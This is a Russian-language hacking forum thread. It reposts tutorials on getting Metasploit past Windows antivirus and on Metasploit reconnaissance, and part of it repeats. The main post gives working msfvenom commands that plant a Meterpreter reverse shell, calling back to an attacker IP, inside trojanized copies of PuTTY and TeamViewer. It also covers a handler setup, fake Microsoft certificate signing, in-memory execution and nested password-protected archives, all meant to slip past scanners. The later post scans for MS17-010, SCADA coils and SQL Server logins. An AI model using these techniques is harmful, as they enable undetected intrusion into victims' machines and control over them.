Основы Metasploit для хакеров: обход антивируса Windows (AV)

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!

В этой серии мы рассмотрим использование самого популярного в мире хакерского фреймворка — Metasploit. По мере роста популярности Metasploit ведущие разработчики антивирусов нашли способы обнаружения и удаления вредоносных программ, основанных на Metasploit, что значительно усложнило эксплуатацию этих систем с помощью Metasploit.

В этом уроке я хочу показать вам несколько способов обхода антивирусной защиты при использовании Metasploit, что позволит сделать ваш взлом/пентест более эффективным и успешным.

Как работает антивирус или EDR?

Прежде чем создавать загрузчик или пытаться обойти защиту, важно понимать, как антивирусное (AV) и EDR (Endpoint Detection and Response) программное обеспечение определяет, является ли программа вредоносной.

1. Обнаружение на основе сигнатур

Каждый файл можно обработать с помощью хеш-функции, например, SHA-256, для создания уникальной сигнатуры (также называемой отпечатком пальца). Антивирусное программное обеспечение хранит базу данных сигнатур известных вредоносных файлов.

При сканировании нового файла антивирус проверяет наличие его сигнатуры в этом списке. Если она совпадает, файл помечается или блокируется. Если нет, он может быть разрешён.

Этот метод быстрый, но не надёжный. Изменение даже одного байта в файле приведёт к совершенно иному хэшу. Это означает, что злоумышленники могут легко модифицировать вредоносное ПО, чтобы избежать обнаружения этим методом.

Кроме того, этот метод не помогает против новых угроз, сигнатуры которых еще не известны.

Пример: если у Mimikatz есть известный хэш SHA-256 и вы загружаете файл с этим же хешем, большинство антивирусных продуктов сразу же заблокируют его.



1-mimicatz-AV-1024x293.jpg



2. Статический анализ

Статический анализ подразумевает сканирование содержимого файла без его запуска. Антивирусные инструменты ищут подозрительные шаблоны, такие как определённые строки текста или кода, которые обычно используются во вредоносных программах.

Например, если файл содержит слово «mimikatz», некоторые антивирусные инструменты отметят его как подозрительный или опасный.



2-Scan-File-Mimicatz-1024x425.jpg



Существуют такие инструменты, как DefenderCheck, которые позволяют увидеть, какие строки в файле помечены Защитником Windows.

Правила YARA также используются в статическом анализе. Эти правила определяют закономерности, которые следует искать в файлах. Например, правило YARA может искать определённый комментарий в коде, например:

// *** Бенджамин ДЕЛЬПИ `gentilkiwi` ( benjamin@gentilkiwi.com )

Если этот шаблон найден, файл может быть помечен как версия Mimikatz. Если шаблон отсутствует, файл не помечается.

Таким образом, статический анализ эффективен при обнаружении известных угроз путем поиска знакомого кода или ключевых слов, даже если файл ранее не встречался.

3. Эвристический и поведенческий анализ

Этот метод фокусируется на том, что программа пытается сделать, а не на том, как она выглядит. Идея заключается в обнаружении подозрительного или вредоносного поведения.

Антивирусное ПО часто запускает программу в «песочнице». Песочница — это безопасная изолированная среда, в которой файл может быть запущен без ущерба для системы.

Во время работы файла антивирус отслеживает его действия. Если программа начинает выполнять действия, характерные для вредоносного ПО, например, обращаться к конфиденциальным файлам, создавать процессы или внедрять код в другие программы, она может быть помечена как опасная.

Такой подход полезен для обнаружения новых или модифицированных вредоносных программ, которые не поддаются обнаружению с помощью сигнатурного или статического анализа.

4. Обнаружение сети

Наконец, некоторые решения по безопасности могут отслеживать соединения, устанавливаемые устройством, и блокировать угрозы на основе определенных показателей.

Например, блокировка может быть принята, если программа инициирует соединение с IP-адресом, известным как связанный с вредоносными серверами. Это повышает безопасность, предотвращая взаимодействие вредоносного ПО с опасными серверами.

Методы уклонения

Большинство современных антивирусных программ, особенно хостовых, активно используют сигнатурное обнаружение . Это означает, что они сканируют файлы и процессы, используя базу данных известных «сигнатур» — уникальных шаблонов, идентифицирующих фрагменты вредоносного кода. Обнаружив совпадение, антивирус обычно немедленно реагирует на него, помещая файл в карантин и блокируя его запуск.

Как же избежать подобного обнаружения? Один из первых шагов — замаскироваться. Простого кодирования полезных данных в разных форматах или многократного их обфускации уже недостаточно. Антивирусные движки стали умнее, и многие из них распознают эти методы, особенно при использовании по отдельности.

Кроме того, простое открытие канала связи между злоумышленником и системой-жертвой может вызвать оповещения от систем обнаружения и предотвращения вторжений (IDS/IPS). Эти инструменты отслеживают сетевой трафик и могут отмечать или блокировать подозрительные соединения.

1. Зашифрованное общение с Meterpreter

С Metasploit Framework 6 (MSF6) злоумышленники получают более мощные возможности. С помощью msfconsole теперь можно создавать туннели с шифрованием AES, которые направляют трафик Meterpreter обратно в систему злоумышленника. Такое шифрование защищает соединение от обнаружения сетевыми системами обнаружения вторжений (IDS/IPS), поскольку содержимое трафика скрыто.

Тем не менее, в некоторых сетях используются строгие правила брандмауэра, которые могут блокировать исходящий трафик на основе IP-адресов источника или протоколов. В таких случаях злоумышленники часто ищут сервисы, которые уже разрешены через брандмауэр. Известный пример — взлом Equifax в 2017 году , когда злоумышленники воспользовались уязвимостью в Apache Struts, чтобы получить доступ к конфиденциальным серверам. Затем они применили DNS-эксфильтрацию — скрытый метод отправки данных через DNS-запросы — для незаметного перемещения украденных данных в течение нескольких месяцев.

2. Полезные нагрузки и обнаружение на основе файлов

Даже если зашифрованный трафик проходит, существует ещё одна серьёзная проблема: антивирусное обнаружение на уровне файлов . Прежде чем вредоносная нагрузка будет выполнена и загружена в память, она должна существовать в виде файла, пусть даже недолго. Этот файл можно отсканировать, получить цифровой отпечаток и заблокировать, если он соответствует чему-либо в базе данных антивирусных сигнатур.

Производители антивирусных программ также постоянно отслеживают такие инструменты, как Metasploit. Многие из стандартных полезных нагрузок, создаваемых такими инструментами, как msfvenom, уже известны и блокируются большинством антивирусных программ. Это означает, что использование этих полезных нагрузок в исходном виде часто приводит к мгновенному обнаружению.

3. Расширенные кодеры полезной нагрузки (x64)

При попытке обойти механизмы статического анализа и обнаружения использование кодировщика может добавить ценный уровень обфускации вашей полезной нагрузки. Ниже представлено несколько известных кодировщиков x64, доступных в msfvenom, каждый из которых использует уникальный метод, затрудняющий обратную разработку или обнаружение на основе сигнатур.

1. x64/xor_context

Этот кодер применяет контекстно-зависимое шифрование XOR, динамически изменяя ключ XOR во время выполнения. Такое поведение делает полезную нагрузку более устойчивой к традиционным инструментам статического анализа, основанным на сопоставлении с образцом или распознавании сигнатур.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_context -o payload.exe


2. x64/xor_dynamic

При использовании xor_dynamic ключ XOR не просто предопределен, а генерируется «на лету» во время выполнения. Такое динамическое поведение значительно затрудняет определение надежной сигнатуры статическими движками обнаружения, обеспечивая более надежную защиту, чем статические методы XOR.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_dynamic -o payload.exe


3. x64/zutto_dekiru

Кодер zutto_dekiru выводит обфускацию на новый уровень. Он использует передовые методы, включая шифрование и структурные преобразования полезной нагрузки. Это значительно увеличивает время обратной разработки и обеспечивает надёжную защиту как от статического, так и от динамического анализа.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe


4. Использование исполняемых шаблонов с msfvenom

К счастью, msfvenom предоставляет полезную функцию: шаблоны исполняемых файлов . Вместо того, чтобы создавать совершенно новый и подозрительно выглядящий файл, вы можете взять легитимный исполняемый файл — например, установщик или утилиту — и внедрить в него свою полезную нагрузку. Это создаёт так называемый исполняемый файл с бэкдором .

Шелл-код скрыт внутри реальной работающей программы, что затрудняет его обнаружение инструментами статического анализа. Комбинируя различные методы кодирования, форматы шелл-кода и реальные программы, вы увеличиваете шансы обойти антивирусные проверки.

Вот что дает вам этот подход:

  1. Внешний файл выглядит легитимным (как обычный установщик или приложение)
  2. Вредоносный код встроен, зашифрован или запутан
  3. Антивирусу сложнее обнаружить его во время базового сканирования.
Ниже приведен пример того, как msfvenom можно использовать для внедрения полезной нагрузки в легитимный исполняемый файл:

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -x TeamViewerx32.exe -e x86/shikata_ga_nai -a x86 –platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 70

В этой команде:

-p указывает полезную нагрузку

-x — исполняемый файл шаблона, который вы хотите использовать

-f exe задает формат вывода

-o задает имя нового файла

-i — это количество итераций для дальнейшего уклонения от обнаружения

-e — это кодировщик, используемый для сокрытия полезной нагрузки

Результатом является исполняемый файл, который по-прежнему работает так, как и ожидалось, но также доставляет полезную нагрузку при запуске.

Как видите, Defender не может найти в нем вредоносное ПО.



3-Flagged-File-1024x245.jpg



4-Windows-Defender-Undected-1024x312.jpg



В большинстве случаев, когда цель запускает исполняемый файл с бэкдором, ничего не происходит, что в некоторых случаях может вызвать подозрения. Чтобы повысить наши шансы, нам нужно инициировать продолжение обычного выполнения запущенного приложения, одновременно извлекая полезную нагрузку в отдельном потоке от основного приложения. Мы делаем это с помощью флага -k , как показано выше. Однако даже при включенном флаге -k цель заметит запущенный бэкдор только в том случае, если запустит шаблон исполняемого файла с бэкдором из среды CLI. В этом случае появится отдельное окно с полезной нагрузкой, которое не закроется, пока мы не завершим взаимодействие с сеансом полезной нагрузки на цели.

В этом примере мы будем использовать PuTTY, распространённый SSH-клиент для Windows. Внедряя нашу полезную нагрузку в PuTTY, мы увеличиваем шансы обойти антивирусные программы, поскольку файл выглядит и ведёт себя как обычное приложение.

Шаг 1: Загрузите PuTTY

Сначала скачайте исполняемый файл PuTTY. В Linux это можно сделать с помощью следующей команды wget:

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Это позволит загрузить 32-битную версию PuTTY.

Шаг 2: Внедрение полезной нагрузки с помощью msfvenom

Далее мы используем msfvenom для внедрения обратной оболочки Meterpreter в исполняемый файл PuTTY:​

msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.10.15.148 lport=443 -e x86/shikata_ga_nai -i 43 -b "\x00" -f exe -o puttyX.exe

Давайте разберем, что делает эта команда:

-a x86 устанавливает архитектуру на 32-бит (для соответствия оригинальному двоичному файлу PuTTY)

–платформа windows указывает целевую операционную систему

-k обеспечивает сохранение исходной функциональности PuTTY после внедрения полезной нагрузки

-b «\x00» позволяет избежать нулевых байтов в полезной нагрузке (которые могут прервать выполнение)

Результатом является модифицированный исполняемый файл PuTTY ( puttyX.exe ), который по-прежнему работает нормально, но при запуске открывает бэкдор.

Шаг 3: Настройка прослушивателя в Metasploit

Поскольку это обратный шелл , полезная нагрузка попытается подключиться обратно к атакующей машине. Нам нужно настроить прослушиватель с помощью обработчика эксплойтов Metasploit .

Откройте Metasploit и выполните следующие команды:

использовать эксплойт/мульти/обработчик

установить полезную нагрузку windows/meterpreter/reverse_tcp

установить LHOST 10.10.15.148

установить LPORT 443

эксплуатировать


После запуска обработчика он будет ожидать подключения. Как только целевой объект запустит puttyX.exe , откроется сеанс Meterpreter, предоставляя вам контроль над системой.



puttyX-Meterpreter.jpg



meterpreter-reverse-tcp-1024x221.jpg



Инструменты уклонения

Хотя пользовательское кодирование полезной нагрузки — один из способов обхода механизмов безопасности, существуют также общедоступные инструменты, которые пытаются взять на себя всю сложную работу. Ниже приведено несколько примеров, которые стоит изучить в демонстрационных и учебных целях.

1. Пугало

ScareCrow когда-то был надёжным инструментом для доставки полезной нагрузки и уклонения от атак, но он переживал и лучшие времена. В настоящее время сложно эффективно использовать все его функции. Судя по проблемам на GitHub, большая часть нестабильности, по-видимому, связана с устаревшими реализациями SSL. Проект не обновлялся годами, что ограничивает его перспективность для серьёзного использования. Тем не менее, он всё ещё полезен для демонстрационных целей или базовых сценариев уклонения от атак.

Для начала вам потребуется установить язык программирования Go и вручную скомпилировать ScareCrow.

Основной поток использования:

Сначала сгенерируйте полезную нагрузку с помощью msfvenom .



Playload-msfvenom-1024x141.jpg



Затем подпишите полученный исполняемый файл поддельным сертификатом Microsoft с помощью ScareCrow.



ScareCrow-Microsoft-certificate-1024x569.jpg



Запустите его на целевой системе, и если все работает правильно, вы увидите обратное соединение с вашим прослушивателем.



Run-ScareCrow-on-target-system-1024x408.jpg



Несмотря на свои сегодняшние ограничения, ScareCrow по-прежнему может помочь вам понять, как работают подмена подписей и злоупотребление сертификатами при обходе системы безопасности.

2. PyInMemoryPE

PyInMemoryPE — это инструмент на основе Python, который запускает PE-файлы непосредственно в памяти, избегая операций записи на диск и потенциально оставаясь незамеченным некоторыми антивирусами. Он скомпилирован для работы в Windows и по-прежнему эффективен против некоторых антивирусов, однако имейте в виду: как только инструмент становится общедоступным, его анализируют, создают сигнатуры, и уровень обнаружения быстро растёт.

Рабочий процесс:

Сначала сгенерируйте полезную нагрузку



Generate-Payload-1024x165.jpg



Загрузите PyInMemoryPE для Windows.



Download-PyInMemoryPE-for-Windows-1024x399.jpg



Настройте простой http.server python3 -m для обслуживания исполняемого файла.



python3-m-http.server-1-1024x357.jpg



Из целевой системы Windows получите доступ к полезной нагрузке через cmd, чтобы выполнить ее в памяти.



payload-execute-memory-1024x95.jpg

И верните связь.



Meterpreter-Open-Session-1024x229.jpg



Скрытие полезных данных с помощью архивов и упаковщиков

Когда речь идёт об обходе обнаружения антивирусами, одним из самых простых и эффективных приёмов является сжатие с шифрованием. Архивирование полезных данных в защищённые паролем файлы .zip или .rar может обойти многие антивирусные решения. Хотя большинство современных сканеров помечают такие файлы как «не подлежащие сканированию», а не как явно вредоносные, они не выдают оповещений высокого уровня. Администратор должен провести ручное расследование, и многие не станут этим заниматься, пока что-то не заденет его.

Шаг 1: Создание полезной нагрузки

Начнем со стандартной полезной нагрузки обратного шелла Meterpreter msfvenom, закодированной пять раз с помощью shikata_ga_nai для повышения запутывания.

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 –platform windows -o ~/test.js -i 5



msfvenom-Meterpreter-reverse-shell-payload-1024x273.jpg



После генерации вы получите классический шелл-код. Далее вам нужно будет его дополнительно обфусцировать.

Шаг 3: Двойная обфускация архива

Теперь мы дважды заархивируем полезную нагрузку , добавляя пароль и удаляя расширения файлов на каждом этапе, чтобы запутать как антивирусную, так и случайную проверку.

Установить утилиту RAR

wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz

tar -xzvf rarlinux-x64-612.tar.gz && cd rar

Первый архив (защищен паролем)

rar a test.rar -p test.js

Вам будет предложено ввести пароль (используйте надёжный; для тестирования подойдёт даже что-то вроде «infected123»). Затем переименуйте архив, чтобы удалить расширение:

mv test.rar тест

Второй архив (вложенный)

rar a test2.rar -p test

mv test2.rar test2


Теперь у нас есть test2 — дважды заархивированная, защищённая паролем полезная нагрузка без видимого расширения файла. Антивирусы обычно не справляются с этим, если только не распаковывают оба уровня и не угадывают тип файла.

Шаг 4: Сканирование зашифрованного архива



Scan-the-Obfuscated-Archive-1024x198.jpg



Ни одного обнаружения!

Этот метод — эффективный способ перемещения данных в целевые системы и из них (например, по каналам управления или каналам эвакуации), но он также палка о двух концах. Многие «синие» команды отслеживают зашифрованные или несканируемые архивы, особенно если расширения удалены. Используйте его с осторожностью.

Заметка о паковщиках

Упаковщики выполняют аналогичную функцию, но работают на уровне двоичных файлов. Они оборачивают исполняемый файл в заглушку для распаковки, которая извлекает и выполняет исходную полезную нагрузку в памяти. Это не только сжимает двоичный файл, но и значительно затрудняет статический анализ.

Популярные упаковщики включают в себя:

  • UPX
  • МПРЕСС
  • Защитник Энигмы
  • Фемида
  • ExeStealth
  • Морфий
Вы можете использовать эти инструменты для добавления дополнительного уровня обфускации к вашим .exe-файлам до или после кодирования с помощью msfvenom.

Чтобы подробнее узнать о том, как антивирусы обрабатывают упакованные исполняемые файлы, ознакомьтесь с проектом PolyPack . В нём рассматривается, как различные методы упаковки влияют на обнаружение вирусов в различных антивирусных системах.

Заключительные мысли

Обход антивирусных программ Windows — обширная, постоянно развивающаяся и высокореактивная область. То, что работает сегодня, завтра может оказаться неэффективным. Microsoft и ведущие поставщики антивирусных программ активно отслеживают новые методы, регулярно обновляют их и выпускают исправления.

Если вы серьёзно настроены улучшить свои навыки обхода защиты, подумайте о переходе на C#. Многие современные инструменты Red Team и пользовательские загрузчики написаны на нём, что обеспечивает больший контроль над поведением ваших полезных нагрузок и их способностью к обходу. Изучение разработки на C# может открыть путь к более продвинутым тактикам, от ручного внедрения PE до отсоединения API и многого другого.

Уклонение — это не игра по принципу «один размер для всех», это игра в кошки-мышки, где ключевыми факторами являются креативность и умение приспосабливаться.
 
Наконец-то это произошло!

Долгожданная следующая книга Мастера OTW

Основы Metasploit5 для хакеров


6a4a49_8e8603955bc14cc5aa9b29e4de3332e4~mv2.png

Новая книга Мастера OTW, во многом продолжающая его предыдущие книги – «Основы Linux для хакеров» и «Начало пути к мастерству хакера», – призвана заполнить существующий в отрасли пробел в простом и доступном руководстве по началу работы с Metasploit (самым распространённым в мире фреймворком для эксплуатации и взлома). На более чем 200 страницах Мастер OTW объясняет, как использовать Metasploit для пентеста, не вдаваясь в сложные тонкости, которые вы вряд ли когда-либо используете. Только понятные и лаконичные руководства.

Кроме того, это единственная книга по Metasploit, в которой есть специальный раздел об использовании Metasploit в передовой среде IoT (Интернета вещей), включая главы как о взломе SCADA/ICS, так и о взломе автомобилей.
 
Наконец-то это произошло!

Долгожданная следующая книга Мастера OTW

Основы Metasploit5 для хакеров


6a4a49_8e8603955bc14cc5aa9b29e4de3332e4~mv2.png

Новая книга Мастера OTW, во многом продолжающая его предыдущие книги – «Основы Linux для хакеров» и «Начало пути к мастерству хакера», – призвана заполнить существующий в отрасли пробел в простом и доступном руководстве по началу работы с Metasploit (самым распространённым в мире фреймворком для эксплуатации и взлома). На более чем 200 страницах Мастер OTW объясняет, как использовать Metasploit для пентеста, не вдаваясь в сложные тонкости, которые вы вряд ли когда-либо используете. Только понятные и лаконичные руководства.

Кроме того, это единственная книга по Metasploit, в которой есть специальный раздел об использовании Metasploit в передовой среде IoT (Интернета вещей), включая главы как о взломе SCADA/ICS, так и о взломе автомобилей.
наконецто! я рад
 
вучит интересно, полезно для тех, кто хочет освоить Metasploit
 
Добро пожаловать обратно, мои начинающие хакеры!

Как вы знаете, разведка — важнейшая часть работы хакера/пентестера. Без качественной разведки все ваши усилия, скорее всего, будут напрасны. По мере того, как Metasploit развивался от строго фреймворка для эксплуатации уязвимостей до многофункционального инструмента для тестирования на проникновение, он приобрел дополнительные возможности, включая разведку. Вам больше не нужно носить с собой отдельные инструменты для разведки и эксплуатации уязвимостей. Metasploit может всё.

Кроме того, прикрепив базу данных postgresql к Metasploit , мы можем сохранять результаты сканирования портов и сканирования уязвимостей в базу данных, а затем использовать эти результаты на следующем этапе теста на проникновение.

Шаг №1 Запускаем Metasploit

Первый шаг, конечно, — запустить Kali и запустить msfconsole.

кали > msf

6a4a49_900e80b105e34da3a34e5e5c5c4e3afb~mv2.png


Шаг № 2 nmap и db_nmap

Обычно, прежде чем начать взлом, мы хотим собрать как можно больше информации о цели. Начнём с проверки открытых портов. Metasploit позволяет запускать nmap прямо из командной строки msf. Попробуем просканировать системы в нашей локальной сети с помощью TCP-сканирования (-sT) в поисках открытых портов в диапазоне от 1 до 1000 (-p1-1000).

msf > nmap -sT 192.168.1810/24 -p1-1000

6a4a49_c57e776c7d0d41f2b59f4a0c764b55c4~mv2.png
6a4a49_75070aa43f644a75ac9eb39321006b0e~mv2.png
Как вы можете видеть выше, nmap смог просканировать все машины в нашей внутренней сети и вернуть результаты открытых портов.

Как я показал в 4-й части книги «Основы Metasploit» , вы также можете использовать команду db-nmap для сканирования и сохранения результатов в присоединённой базе данных PostgreSQL Metasploit. Таким образом, эти результаты можно будет использовать на этапе эксплуатации уязвимости.

Давайте просканируем наши цели с помощью db_nmap.

msf > db_nmap 192.168.181.0/24

6a4a49_8d34c28f565e4de9b490a2351e1a5104~mv2.png


Как мы видим выше, сканер nmap в Metasploit смог выполнить сканирование портов каждой системы в нашей подсети, найти их открытые порты и сохранить эту информацию в базе данных для последующего использования.

Шаг №3: Сканирование модулей

Metasploit имеет множество встроенных модулей сканирования. Если мы откроем другой терминал, мы сможем перейти к вспомогательным модулям Metasploit и получить список всех модулей сканирования .

cd /usr/share /metasploit-framework/modules/auxiliary

кали > ls -l


6a4a49_2f82c433ca5c433ca20871fae834a5da~mv2.png


Обратите внимание на скриншот выше: многочисленные каталоги содержат модули для всевозможных вспомогательных целей. Давайте перейдём в каталог сканера и посмотрим, что там находится.

kali > cd scanner

кали > ls -l


Как вы можете видеть ниже, существуют сотни модулей сканера, каждый из которых находится в каталоге определенного типа цели.

6a4a49_a2f87d57908e48d6870e9abcffd2575a~mv2.png


Протокол SMB был проблемным на протяжении более двух десятилетий во всех операционных системах. В 2017 году группа ShadowBrokers выпустила украденный эксплойт АНБ, который атаковал SMB и предоставлял атакующему права системного администратора. Этот эксплойт стал известен как EternalBlue, или MS17-010 в терминологии Microsoft (подробнее об EternalBlue см. в статье Network Forensics здесь ).

Чтобы определить, уязвима ли система Windows 7/Server 2008 для этого эксплойта, в Metasploit имеется сканер, позволяющий это сделать.

Если мы перейдем в подкаталог SMB
и выполним его длинный листинг, то увидим сканер с именем «smb_ms17_010».

kali > cd smb

кали > ls -l


6a4a49_63fde6c2f6ac4583896894b6015011a3~mv2.png


Давайте загрузим этот сканер в нашу среду и запустим его на системе Windows 7.

msf5 > использовать вспомогательный/сканер/smb/smb_ms17_010

msf5 > установить RHOSTS 192.168.1.102

msf5 > запустить


6a4a49_48e5aef8e21b47a1897505f3b1a5b140~mv2.png


Как видите выше, этот сканер отправил зонды в целевую систему и вернулся с сообщением, что она, вероятно, уязвима! Мы воспользуемся этой уязвимостью в восьмой части серии «Основы Metasploit».

Далее перейдем в каталог scada и посмотрим, что там внутри.

6a4a49_f5bd45a7e7ca46ce86e3fcbc05a0e68e~mv2.png


Как вы видите, имеется 11 модулей сканера SCADA.

Шаг №4 . Проведение сканирования SCADA

Давайте попробуем использовать один из этих модулей сканера SCADA для проведения сканирования системы SCADA (для получения более подробной информации о взломе SCADA см. мою серию статей SCADA здесь).

msf > использовать вспомогательный/сканер/scada/modbusclient

6a4a49_945d3cd097964083a1e31b04ccb9c11e~mv2.png


Нам необходимо установить параметры RHOST, NUMBER катушек для считывания и READ_COIL.

6a4a49_0db3977335044cc38b14ebe10843d5a0~mv2.png


Как видно на скриншотах выше, мы использовали этот сканер SCADA для считывания показаний катушек (катушки — это переключатели «ВКЛ/ВЫКЛ» внутри SCADA-системы) в удалённой SCADA-системе. Это был первый шаг перед эксплуатацией этой системы.

Шаг №5. Сканирование входа в систему MS SQL

Среди многочисленных сканирований Metasploit есть одно, способное перечислить логины на флагманском сервере баз данных Microsoft — SQL Server.

Мы можем использовать этот модуль, набрав:

msf > использовать вспомогательный/административный/mssql/mssql_enum_sql_logins

После загрузки модуля мы узнаем больше об этом сканере, введя info.

MSF > информация


6a4a49_64302757ef1c4b7895ed93f4fa6fc9c5~mv2.png
6a4a49_cdef6eed9d0649b48b26e172575c347e~mv2.png


Как видно из описания, этот модуль можно использовать для фаззинга доступных логинов SQL Server, предоставляя нам логины, которые затем можно взломать методом подбора с помощью одного из множества различных инструментов взлома паролей.

Как только мы предоставим ему RHOST, он начнет сканирование доступных имен входа на сервере базы данных.

msf > установите RHOST 192.168.181.129

msf > эксплуатировать


6a4a49_d807189c480e4e8c9325c2c9fe3326a7~mv2.png


Как вы можете видеть выше, этот сканер смог обнаружить учетную запись «sa» или системного администратора этой установки SQL Server!

Заключение

Разведка — важнейший этап процесса взлома/
тестирования на проникновение. Metasploit добавил сотни разведывательных модулей, чтобы мы могли выполнять большую часть разведывательной работы прямо из Metasploit. Здесь я продемонстрировал лишь несколько разведывательных модулей Metasploit, но их буквально сотни, поэтому уделите время изучению множества разведывательных модулей Metasploit, и это, вероятно, сэкономит вам сотни часов при взломе/тестировании на проникновение.
 
Удивляет как ты все это выучил.
Добро пожаловать обратно, мои начинающие кибервоины!

В этой серии мы рассмотрим использование самого популярного в мире хакерского фреймворка — Metasploit. По мере роста популярности Metasploit ведущие разработчики антивирусов нашли способы обнаружения и удаления вредоносных программ, основанных на Metasploit, что значительно усложнило эксплуатацию этих систем с помощью Metasploit.

В этом уроке я хочу показать вам несколько способов обхода антивирусной защиты при использовании Metasploit, что позволит сделать ваш взлом/пентест более эффективным и успешным.

Как работает антивирус или EDR?

Прежде чем создавать загрузчик или пытаться обойти защиту, важно понимать, как антивирусное (AV) и EDR (Endpoint Detection and Response) программное обеспечение определяет, является ли программа вредоносной.

1. Обнаружение на основе сигнатур

Каждый файл можно обработать с помощью хеш-функции, например, SHA-256, для создания уникальной сигнатуры (также называемой отпечатком пальца). Антивирусное программное обеспечение хранит базу данных сигнатур известных вредоносных файлов.

При сканировании нового файла антивирус проверяет наличие его сигнатуры в этом списке. Если она совпадает, файл помечается или блокируется. Если нет, он может быть разрешён.

Этот метод быстрый, но не надёжный. Изменение даже одного байта в файле приведёт к совершенно иному хэшу. Это означает, что злоумышленники могут легко модифицировать вредоносное ПО, чтобы избежать обнаружения этим методом.

Кроме того, этот метод не помогает против новых угроз, сигнатуры которых еще не известны.

Пример: если у Mimikatz есть известный хэш SHA-256 и вы загружаете файл с этим же хешем, большинство антивирусных продуктов сразу же заблокируют его.



1-mimicatz-AV-1024x293.jpg



2. Статический анализ

Статический анализ подразумевает сканирование содержимого файла без его запуска. Антивирусные инструменты ищут подозрительные шаблоны, такие как определённые строки текста или кода, которые обычно используются во вредоносных программах.

Например, если файл содержит слово «mimikatz», некоторые антивирусные инструменты отметят его как подозрительный или опасный.



2-Scan-File-Mimicatz-1024x425.jpg



Существуют такие инструменты, как DefenderCheck, которые позволяют увидеть, какие строки в файле помечены Защитником Windows.

Правила YARA также используются в статическом анализе. Эти правила определяют закономерности, которые следует искать в файлах. Например, правило YARA может искать определённый комментарий в коде, например:

// *** Бенджамин ДЕЛЬПИ `gentilkiwi` ( benjamin@gentilkiwi.com )

Если этот шаблон найден, файл может быть помечен как версия Mimikatz. Если шаблон отсутствует, файл не помечается.

Таким образом, статический анализ эффективен при обнаружении известных угроз путем поиска знакомого кода или ключевых слов, даже если файл ранее не встречался.

3. Эвристический и поведенческий анализ

Этот метод фокусируется на том, что программа пытается сделать, а не на том, как она выглядит. Идея заключается в обнаружении подозрительного или вредоносного поведения.

Антивирусное ПО часто запускает программу в «песочнице». Песочница — это безопасная изолированная среда, в которой файл может быть запущен без ущерба для системы.

Во время работы файла антивирус отслеживает его действия. Если программа начинает выполнять действия, характерные для вредоносного ПО, например, обращаться к конфиденциальным файлам, создавать процессы или внедрять код в другие программы, она может быть помечена как опасная.

Такой подход полезен для обнаружения новых или модифицированных вредоносных программ, которые не поддаются обнаружению с помощью сигнатурного или статического анализа.

4. Обнаружение сети

Наконец, некоторые решения по безопасности могут отслеживать соединения, устанавливаемые устройством, и блокировать угрозы на основе определенных показателей.

Например, блокировка может быть принята, если программа инициирует соединение с IP-адресом, известным как связанный с вредоносными серверами. Это повышает безопасность, предотвращая взаимодействие вредоносного ПО с опасными серверами.

Методы уклонения

Большинство современных антивирусных программ, особенно хостовых, активно используют сигнатурное обнаружение . Это означает, что они сканируют файлы и процессы, используя базу данных известных «сигнатур» — уникальных шаблонов, идентифицирующих фрагменты вредоносного кода. Обнаружив совпадение, антивирус обычно немедленно реагирует на него, помещая файл в карантин и блокируя его запуск.

Как же избежать подобного обнаружения? Один из первых шагов — замаскироваться. Простого кодирования полезных данных в разных форматах или многократного их обфускации уже недостаточно. Антивирусные движки стали умнее, и многие из них распознают эти методы, особенно при использовании по отдельности.

Кроме того, простое открытие канала связи между злоумышленником и системой-жертвой может вызвать оповещения от систем обнаружения и предотвращения вторжений (IDS/IPS). Эти инструменты отслеживают сетевой трафик и могут отмечать или блокировать подозрительные соединения.

1. Зашифрованное общение с Meterpreter

С Metasploit Framework 6 (MSF6) злоумышленники получают более мощные возможности. С помощью msfconsole теперь можно создавать туннели с шифрованием AES, которые направляют трафик Meterpreter обратно в систему злоумышленника. Такое шифрование защищает соединение от обнаружения сетевыми системами обнаружения вторжений (IDS/IPS), поскольку содержимое трафика скрыто.

Тем не менее, в некоторых сетях используются строгие правила брандмауэра, которые могут блокировать исходящий трафик на основе IP-адресов источника или протоколов. В таких случаях злоумышленники часто ищут сервисы, которые уже разрешены через брандмауэр. Известный пример — взлом Equifax в 2017 году , когда злоумышленники воспользовались уязвимостью в Apache Struts, чтобы получить доступ к конфиденциальным серверам. Затем они применили DNS-эксфильтрацию — скрытый метод отправки данных через DNS-запросы — для незаметного перемещения украденных данных в течение нескольких месяцев.

2. Полезные нагрузки и обнаружение на основе файлов

Даже если зашифрованный трафик проходит, существует ещё одна серьёзная проблема: антивирусное обнаружение на уровне файлов . Прежде чем вредоносная нагрузка будет выполнена и загружена в память, она должна существовать в виде файла, пусть даже недолго. Этот файл можно отсканировать, получить цифровой отпечаток и заблокировать, если он соответствует чему-либо в базе данных антивирусных сигнатур.

Производители антивирусных программ также постоянно отслеживают такие инструменты, как Metasploit. Многие из стандартных полезных нагрузок, создаваемых такими инструментами, как msfvenom, уже известны и блокируются большинством антивирусных программ. Это означает, что использование этих полезных нагрузок в исходном виде часто приводит к мгновенному обнаружению.

3. Расширенные кодеры полезной нагрузки (x64)

При попытке обойти механизмы статического анализа и обнаружения использование кодировщика может добавить ценный уровень обфускации вашей полезной нагрузки. Ниже представлено несколько известных кодировщиков x64, доступных в msfvenom, каждый из которых использует уникальный метод, затрудняющий обратную разработку или обнаружение на основе сигнатур.

1. x64/xor_context

Этот кодер применяет контекстно-зависимое шифрование XOR, динамически изменяя ключ XOR во время выполнения. Такое поведение делает полезную нагрузку более устойчивой к традиционным инструментам статического анализа, основанным на сопоставлении с образцом или распознавании сигнатур.

Пример команды:

